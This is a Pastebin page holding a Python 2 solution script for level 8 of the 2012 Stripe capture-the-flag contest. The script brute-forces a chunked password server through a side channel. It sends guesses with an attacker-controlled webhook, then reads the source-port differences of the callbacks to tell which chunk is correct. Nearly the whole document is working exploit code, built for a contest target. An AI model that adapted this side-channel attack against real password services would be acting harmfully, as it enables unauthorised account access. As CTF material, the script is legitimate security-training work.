Advertisement
evandrix

stripe-ctf-web-2012 level08.py-chat

Aug 25th, 2012
58
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.66 KB | None | 0 0
  1. import socket
  2. import urllib2
  3. import json
  4. import sys
  5. import thread
  6. import time
  7. from collections import deque
  8.  
  9. run = 1
  10.  
  11. def start(hookaddr, hookport, target):
  12.     template = ""
  13.     notaim = 2#4
  14.     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  15.     s.bind(('0.0.0.0', hookport))
  16.     s.listen(1)
  17.     args = "".zfill(12),target,hookaddr + ":" + str(hookport)
  18.     thread.start_new_thread(requester, args)
  19.  
  20.     lastport = catchRequest(s)
  21.     print "[~] first port: " + str(lastport)
  22.     list = deque([0])
  23.     for a in range(0,100):
  24.         list.append(a)
  25.     while len(list):   
  26.         chunk = list.popleft()
  27.         args = str(chunk).zfill(3) + ("0" * 9) ,target,hookaddr + ":" + str(hookport)
  28.         thread.start_new_thread(requester, args)
  29.         port = catchRequest(s)
  30.         delta = port - lastport
  31.         lastport = port
  32.         print str(chunk) + "\t\t" + str(delta) + "\t\t" + str((((1000 - len(list)) / 1000.0) * 100)) + "%"
  33.         if delta != notaim:
  34.             list.append(chunk)
  35.     print "FAILED"
  36.     global run
  37.     run = 0    
  38.  
  39. def catchRequest(socket):
  40.     conn, addr = socket.accept()
  41.     port = addr[1]
  42.     conn.close()
  43.     return port
  44.  
  45. def requester(guess, address, webhook):
  46.     jdata = json.dumps({"password":guess, "webhooks":[webhook]})
  47.     f = urllib2.urlopen(address, jdata)
  48.     if "true" in f.read(100):
  49.         print "[~] Password found:"
  50.         print guess
  51.         print "Ignore values part this point:"
  52.         global run
  53.         run = 0
  54.     else:
  55.         sys.exit(0)    
  56.  
  57. if __name__ == '__main__':
  58.     port = 5329
  59.     print "[*] Starting on " + str(port)
  60.  
  61.     #args = "127.0.0.1", port, "http://127.0.0.1:3000"
  62.     args = "level02-2.stripe-ctf.com", port, "https://level08-4.stripe-ctf.com/user-xxxxxxxxxx/"
  63.  
  64.     thread.start_new_thread(start, args)
  65.     while run:
  66.         time.sleep(0.1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement